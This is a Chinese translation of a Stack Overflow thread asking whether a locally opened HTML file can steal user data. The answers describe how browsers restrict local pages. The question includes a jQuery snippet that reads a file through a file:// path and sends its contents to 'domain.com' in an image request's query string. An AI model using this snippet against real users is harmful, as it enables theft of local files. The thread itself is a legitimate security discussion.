通过运行HTML文件窃取用户数据

11

让我们来谈谈安全性。在理论上,如果用户使用某些脚本打开了html文件(从他的文件系统打开,而不是从网络中打开),我似乎可以从用户的文件系统中获取信息。看看这段代码:

info.txt:

my info

index.html:

<!doctype html>

<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
    <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script>
    <script>
      $(document).ready(function () {
        $.get('file:///home/daz/desktop/info.txt', function (data) {
          $('<img>').attr('src', 'http://domain.com?data=' + escape(data)).appendTo('body');
        }, 'text');
      });
    </script>
  </head>    
  <body></body>
</html>

一些浏览器(例如火狐)允许您通过 XmlHttpRequestfile:// 获取文件,因此如果我猜测文件路径,则可以通过 ajax 获取其内容。然后,我可以动态添加 img 标签,其中 src 带有查询字符串参数并指向我的域名。浏览器会顺从地发起请求 GET ?data=my%20info%0A domain.com。在服务器端,我可以解析查询字符串并获取数据。

我是不是可以这样做?我是不是可以从用户的计算机中获取他的数据,如果他打开我的 HTML 文件?所以我只需要说:“嘿,朋友,看看这个文件!”(有两个限制:用户应该使用类似配置的 Firefox 或其他浏览器,并且我无法获取用户没有访问权限的文件)。

更新:

如果可能的话,为什么可以这样做?为什么他们允许你做这样的事情?为什么没有确认对话框或其他东西。

更新2:

如果有人能就此问题进行审核,那将是很好的。提前感谢!


是的,这完全是可能的。 - Brad
2个回答

5
它比你想象的要少见。各种浏览器对本地HTML文件可以执行的操作实施了不同的限制,由Chromium开发团队在这篇文章中描述:

http://blog.chromium.org/2008/12/security-in-depth-local-web-pages.html

特别是:

  • 默认情况下,Internet Explorer禁用本地HTML文件中的Javascript。
  • Opera对来自本地文件的跨域访问施加了一些限制。
  • Firefox对本地文件访问应用子目录限制。

(请注意,此帖子发布于2008年;自那以后,浏览器(尤其是Chrome)可能已经发生了重大变化。)


0

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接